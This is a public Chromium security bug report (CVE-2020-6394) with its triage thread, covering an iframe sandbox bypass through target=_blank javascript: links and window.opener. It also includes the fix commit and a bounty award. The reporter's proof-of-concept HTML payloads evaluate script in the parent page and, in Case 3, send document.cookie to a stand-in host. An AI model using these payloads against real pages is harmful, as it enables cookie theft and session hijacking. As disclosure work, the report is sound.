Starred by 4 users

Owner:	mkwst@chromium.org **Last visit 26 days ago**
CC:	annev...@gmail.com ericlaw@microsoft.com achuith@chromium.org
Status:	Fixed *(Closed)*
Components:	Blink>SecurityFeature>IFrameSandbox
Modified:	Apr 14, 2020
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Android, Windows, Chrome, Mac, Fuchsia
Pri:	1
Type:	Bug-Security

Merge-na
reward-3000
Security_Impact-Stable
Security_Severity-Medium
allpublic
reward-inprocess
CVE_description-submitted
Target-78
Target-79
M-79
Release-0-M80
CVE-2020-6394

Issue 1014371: Security: iframe sandbox can be worked around via javascript: links and window.opener
Reported by philf...@gmail.com on Mon, Oct 14, 2019, 11:18 PM EDT

Code

VULNERABILITY DETAILS
My understanding is that a web application should be able to use a sandboxed iframe to display untrusted content without fear of JavaScript running, hijacking the parent page or the user's cookies. In simple scenarios this works properly, however there are some exceptions (reproducible in code below) using target="_blank" links with "javascript:" href values, and window.opener that allow JavaScript from untrusted content to be run.

Please note that NONE of my examples use "allow-scripts" in the sandbox attribute - because my goal is that JavaScript does not run at all in the iframe.

Apologies if this is expected behavior. But it was definitely not expected to me.

VERSION
Chrome Version: [Version 77.0.3865.120 (Official Build) (64-bit) - stable
Operating System: macOS 10.15

REPRODUCTION CASE

If we display untrusted content like this:
<iframe sandbox="allow-modals allow-popups allow-popups-to-escape-sandbox" srcdoc="UNTRUSTED_CONTENT"></iframe>

Then here are some examples of UNTRUSTED_CONTENT that can workaround sandbox and result in JavaScript being run unexpectedly:

Case 1:
<iframe sandbox="allow-modals allow-popups allow-popups-to-escape-sandbox" srcdoc="<a target=&quot;_blank&quot;
href=&quot;javascript:window.opener.eval('alert(location.href)')&quot;>click me</a>"></iframe>

Result: Clicking the link inside the iframe results in an alert popping up on the original page with a message "about:srcdoc", showing that JS is actually executed inside the iframe.

Case 2:
This problem actually gets MUCH worse if you have allow-same-origin in the sandbox attribute:
<iframe sandbox="allow-same-origin allow-modals allow-popups allow-popups-to-escape-sandbox" srcdoc="<a target=&quot;_blank&quot;
href=&quot;javascript:window.opener.parent.eval('alert(location.href+\'; \'+document.cookie);')&quot;>click me</a>"></iframe>

Result: Clicking the link in the iframe results in JavaScript access to the cookies of the parent page.

CREDIT INFORMATION
Reporter credit: Phil Freo

sandbox3.html
551 bytes View Download

Comment 1 by philf...@gmail.com on Mon, Oct 14, 2019, 11:24 PM EDT
I'd like to also note that Safari does not have the same problem. It properly blocks both cases with a console message "Blocked script execution in 'about:srcdoc' because the document's frame is sandboxed and the 'allow-scripts' permission is not set."

Comment 2 by philf...@gmail.com on Tue, Oct 15, 2019, 8:31 AM EDT
One more note:

Here is our real world use case for wanting the following set of sandbox attributes without expecting JavaScript to be running:
<iframe sandbox="allow-same-origin allow-popups allow-popups-to-escape-sandbox" srcdoc="UNTRUSTED_CONTENT"></iframe>

We wanted "allow-same-origin" because we wanted the parent page to be able to access the iframe's document and its offsetHeight to be able to resize the height of the iframe to match the iframe's contents. This allows a more seamless experience of embedding untrusted content into a web app without introducing another vertical scroll bar.

All indication of the "sandbox" attribute is that this would indeed prevent JavaScript from running within the context of our page, since we didn't have "allow-scripts".

Case 3:

Run this from a hostname that has cookies set. After clicking the second link, come back and notice how this parent page has redirected to steal cookies.

<iframe sandbox="allow-same-origin allow-popups allow-popups-to-escape-sandbox" width="100%" height="300" srcdoc="
Rendering untrusted **HTML** here...<br>

<a target=&quot;_blank&quot; href=&quot;https://www.whatismybrowser.com/detect/is-javascript-enabled&quot;>load external site in popup, with javascript (desired)</a>
<br>
<a target=&quot;_blank&quot;
href=&quot;javascript:window.opener.parent.eval('window.location%3D%22https%3A//example.com/%3Fc%3D%22+encodeURIComponent%28document.cookie%29')&quo
t;>hacker site can steal iframe's parent's cookies</a>
"></iframe>

Note: In this example, not only are we stealing the user's cookies, the sandboxed iframe is acting like it has "allow-top-navigation" even though that is not in the whitelist of values!

Comment 3 by philf...@gmail.com on Tue, Oct 15, 2019, 8:32 AM EDT
Here is a runnable example of that Case 3 example.

sandbox5.html
757 bytes View Download

Comment 4 by philf...@gmail.com on Tue, Oct 15, 2019, 8:45 AM EDT
And this same example could also be used in a phishing attempt even on a logged-out page where the cookies didn't matter. It's just like any other noopener attack, except this time the target=_blank link is part of what is already expected to be untrusted content, and "sandbox" isn't doing its job.

Comment 5 by carlosil@chromium.org on Wed, Oct 16, 2019, 4:54 PM EDT
Components: Blink>SecurityFeature>IFrameSandbox

Comment 6 by carlosil@chromium.org on Wed, Oct 16, 2019, 5:02 PM EDT
Labels: Security_Severity-Medium Security_Impact-Stable M-77

Assigning Medium severity since that's what similar iframe sandbox bypass bugs have been assigned before

Comment 7 by carlosil@chromium.org on Wed, Oct 16, 2019, 6:00 PM EDT
Status: Assigned (was: Unconfirmed)
Owner: vogelheim@chromium.org
Labels: OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows

vogelheim: Passing to you as a SecurityFeature owner, can you help find an owner for this?

Comment 8 by sheriffbot@chromium.org on Thu, Oct 17, 2019, 10:24 AM EDT
Labels: Pri-1

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 9 Deleted

Comment 10 by sheriffbot@chromium.org on Wed, Oct 23, 2019, 9:10 AM EDT
Labels: -M-77 Target-78 M-78

Comment 11 by sheriffbot@chromium.org on Tue, Oct 29, 2019, 9:10 AM EDT
vogelheim: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 12 by philf...@gmail.com on Tue, Oct 29, 2019, 1:35 PM EDT
After opening this bug, I wrote a (cleaned up) version of this bug report for Firefox, here:
https://bugzilla.mozilla.org/show_bug.cgi?id=1589845

And it was recently merged into:
https://bugzilla.mozilla.org/show_bug.cgi?id=1559128

Comment 13 by sheriffbot@chromium.org on Tue, Nov 12, 2019, 9:10 AM EST
vogelheim: Uh oh! This issue still open and hasn't been updated in the last 28 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 14 by vogelheim@chromium.org on Wed, Nov 13, 2019, 6:59 AM EST
Owner: mkwst@chromium.org

Sorry I'm late with this. It turns out, I don't know <iframe sandbox> very well, so I'm not super sure whether the observed behaviour is a bug or "working as intended".

mkwst: Can you please have a look at this?

If i see this correctly, all three examples are cases of navigating to javascript:-URL causes script execution, even when <iframe sandbox> without allow-scripts is used.

Comment 15 by mkwst@chromium.org on Wed, Nov 13, 2019, 8:38 AM EST
Cc: annev...@gmail.com

The presence of `allow-popups allow-popups-to-escape-sandbox` does allow `<a target='...'>` to escape the sandbox and cause script execution (in the newly popped-up window). I agree that it's somewhat surprising that we execute the `javascript:` URL in the target window and not in the source window, but it's an intentional change we made in https://bugs.chromium.org/p/chromium/issues/detail?id=944213 to match Mozilla and the spec, and it's not clear to me that it gives you any power above and beyond what explicitly allowing the popup to escape the sandbox provides.

Still, I can understand how this behavior would violate your assumptions about the ability of a sandboxed frame to execute script that it ends up controlling. I wouldn't be sad if we entirely blocked navigation to `javascript:` inside frames with the sandboxed scripts browsing context flag set. +annevk@: Would y'all have any objections to a patch to https://html.spec.whatwg.org/#javascript-protocol (or https://html.spec.whatwg.org/#navigating-across-documents, I guess?) that checked that sandbox flag in the source browsing context prior to navigation?

Comment 16 by annev...@gmail.com on Wed, Nov 13, 2019, 10:32 AM EST
That sounds fine, though I suspect we'd have to check it on the "source document" as there are cases when that can be sandboxed, but the encompassing browsing context isn't (CSP). (Unfortunately source document isn't really a thing, so we'd have to be hand-wavy about it until that's fixed.)

Comment 17 by mkwst@chromium.org on Wed, Nov 13, 2019, 11:09 AM EST
https://github.com/whatwg/html/pull/5083

Comment 18 Deleted

Comment 19 by philf...@gmail.com on Wed, Nov 13, 2019, 10:04 PM EST
> it's somewhat surprising that we execute the `javascript:` URL in the target window and not in the source window, but it's an intentional change we made in https://bugs.chromium.org/p/chromium/issues/detail?id=944213 to match Mozilla and the spec, and it's not clear to me that it gives you any power above and beyond what explicitly allowing the popup to escape the sandbox provides.

mkwst: Just to clarify:

1. The fact that the `javascript:` URL run in the target window (the new window opened from a target=_blank link) doesn't seem especially bad to me, given `allow-popups allow-popups-to-escape-sandbox`, it might be exactly what you expect.

2. The real problem here is that JavaScript can effectively be run in the *source* window too, via window.opener -- which is the very iframe we're trying to avoid running scripts in. (My original Case 1)

3. And then furthermore, if `allow-same-origin` is present too, then via window.opener.parent we can execute JavaScript in the iframe's parent page which is *even worse*. (My original Case 2 & 3)

Does this make sense / do you agree?

Comment 20 by mkwst@chromium.org on Thu, Nov 14, 2019, 5:26 AM EST
1. I thought this was the part you found surprising, that the popup could be caused to execute JavaScript even though the page that caused the popup to open couldn't execute JavaScript itself?
2. Given that the sandboxed frame and the window that it pops up are same-origin to each other, running script in either has the same set of capabilities. The popup has DOM access to its opener after all. What is enabled specifically by executing code _in_ the opener frame as opposed to in the popup with the same capability?
3. I agree with you that sandboxing with `allow-same-origin` makes any attack at all more powerful.

Comment 21 by annev...@gmail.com on Thu, Nov 14, 2019, 8:06 AM EST
Perhaps the ask is that allow-popups-to-escape-sandbox implies noopener? Did we consider that? Too late?

Comment 22 by mkwst@chromium.org on Thu, Nov 14, 2019, 8:28 AM EST
Cc: ericlaw@microsoft.com

> Perhaps the ask is that allow-popups-to-escape-sandbox implies noopener?

It seems like `window.open` could be reasonably expected to create an opener relationship for things like oauth. In this case, the surprising bit to me is that a sandboxed frame in the absence of `allow-scripts` can cause script execution, not that the popup (once it's escaped the sandbox) can execute script, or that it has an opener relationship with the frame that opened it.

Still, belt and suspenders: isn't Firefox experimenting/shipping `noopener` for all `target=_blank` links? I feel like ericlaw@ was interested in doing something there as well.

Comment 23 by annev...@gmail.com on Thu, Nov 14, 2019, 8:38 AM EST
Yeah, we're doing that on non-Release channels, with https://bugzilla.mozilla.org/show_bug.cgi?id=1522083 tracking the remaining bits.

Comment 24 by philf...@gmail.com on Thu, Nov 14, 2019, 8:38 AM EST
From my perspective in what I expect from iframe sandbox, I would be happy with any solution that: completely disallows JavaScript from running either in the iframe context or in the parent page's context, when "allow-scripts" is absent even if "allow-popups-to-escape-sandbox" and "allow-same-origin" is present. If that means completely disabling javascript: links I have no qualms with that. If that means "allow-popups-to-escape-sandbox implies noopener" I'm also happy.

Also it's interesting that adding the `csp="script-src 'none'` to the iframe element DOES effectively block these types of issues. Should there effectively be a difference between this attribute and a sandbox without "allow-scripts"? I wouldn't think so, but right now there is.

Specifically to summarize the use case: Until the `<iframe csp>` attribute was introduced (which still doesn't exist in Firefox), using iframe sandbox in the way I described in the original post seemed like the only way to both display untrusted content (e.g. ads HTML email), allow clicking links to open in a new tab, and have the parent page resize the iframe based on the iframe's body/contents height (which requires `allow-same-origin`)

Comment 25 by annev...@gmail.com on Thu, Nov 14, 2019, 8:59 AM EST
If you truly want to protect yourself against a rogue popup you cannot use allow-popups-to-escape-sandbox as currently designed (unless you'd also use Cross-Origin-Opener-Policy). Embedded CSP is not going to help with that (and has other issues).

Comment 26 by philf...@gmail.com on Thu, Nov 14, 2019, 9:00 AM EST
> In this case, the surprising bit to me is that a sandboxed frame in the absence of `allow-scripts` can cause script execution

+1

Comment 27 by bugdroid on Sat, Nov 16, 2019, 1:54 PM EST
The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src.git/+/24134160cb7f395e2d82ddecdfe7ac0659c9477c

commit 24134160cb7f395e2d82ddecdfe7ac0659c9477c
Author: Mike West <mkwst@chromium.org>

Date: Sat Nov 16 18:53:06 2019

Prevent sandboxed frames from navigating to `javascript:`.

Frames with the `allow-popup` and `allow-popup-to-escape-sandbox` flags
can cause JavaScript execution in their origin by navigating to a
`javascript:` URL via `target=_blank` or similar. This is technically
correct, but surprising.

https://github.com/whatwg/html/pull/5083 aims to tighten that check to
match developers' expectations that `javascript:` URLs controlled by a
page that's been sandboxed away from script will not execute.

~~Bug: 1014371~~
Change-Id: I3b5fa676e73cbf78485b85ce2593284bce2e68cc
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1916467
Reviewed-by: Daniel Vogelheim <vogelheim@chromium.org>
Reviewed-by: Avi Drissman <avi@chromium.org>
Commit-Queue: Avi Drissman <avi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#716035}

[modify] https://crrev.com/24134160cb7f395e2d82ddecdfe7ac0659c9477c/content/browser/navigation_mhtml_browsertest.cc
[modify] https://crrev.com/24134160cb7f395e2d82ddecdfe7ac0659c9477c/third_party/blink/renderer/core/loader/frame_loader.cc
[add] https://crrev.com/24134160cb7f395e2d82ddecdfe7ac0659c9477c/third_party/blink/web_tests/external/wpt/html/browsers/sandboxing/resources/post-done-to-opener.html
[add] https://crrev.com/24134160cb7f395e2d82ddecdfe7ac0659c9477c/third_party/blink/web_tests/external/wpt/html/browsers/sandboxing/sandbox-disallow-scripts-via-unsandboxed-popup.tentative.html

Comment 28 by sheriffbot@chromium.org on Wed, Dec 11, 2019, 9:11 AM EST

Labels: -M-78 Target-79 M-79

Comment 29 by mea...@chromium.org on Mon, Jan 6, 2020, 8:03 PM EST

Hi Mike, is this fixed?

Comment 30 by mkwst@chromium.org on Tue, Jan 7, 2020, 3:55 AM EST

Status: Fixed (was: Assigned)

Should be fixed via https://chromium-review.googlesource.com/c/chromium/src/+/1916467, yes. Closing it out.

Comment 31 by sheriffbot@chromium.org on Tue, Jan 7, 2020, 10:44 AM EST

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 32 by natashapabrai@google.com on Tue, Jan 14, 2020, 11:56 AM EST

Labels: reward-topanel

Comment 33 by sheriffbot@chromium.org on Wed, Jan 15, 2020, 11:09 AM EST

Labels: Merge-na

Not requesting merge to beta (M80) because latest trunk commit (716035) appears to be prior to beta branch point (722274). If this is incorrect, please replace the Merge-na label with Merge-Request-80. If other changes are required to fix this bug completely, please request a merge if necessary.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 34 by natashapabrai@google.com on Thu, Jan 23, 2020, 4:21 PM EST

Labels: -reward-topanel reward-unpaid reward-3000

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 35 by natashapabrai@google.com on Thu, Jan 23, 2020, 4:34 PM EST

Congrats the Panel decided to reward $3,000 for this report!

Comment 36 by natashapabrai@google.com on Thu, Jan 23, 2020, 5:06 PM EST

Labels: -reward-unpaid reward-inprocess

Comment 37 by adetaylor@google.com on Sat, Feb 1, 2020, 8:13 PM EST

Labels: Release-0-M80

Comment 38 by adetaylor@chromium.org on Mon, Feb 3, 2020, 6:47 PM EST

Labels: CVE-2020-6394 CVE_description-missing

Comment 39 by adetaylor@chromium.org on Mon, Feb 10, 2020, 4:37 PM EST

Labels: -CVE_description-missing CVE_description-submitted

Comment 40 by adetaylor@google.com on Wed, Mar 4, 2020, 1:43 PM EST

Cc: achuith@chromium.org

Comment 41 by sheriffbot on Tue, Apr 14, 2020, 1:56 PM EDT

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot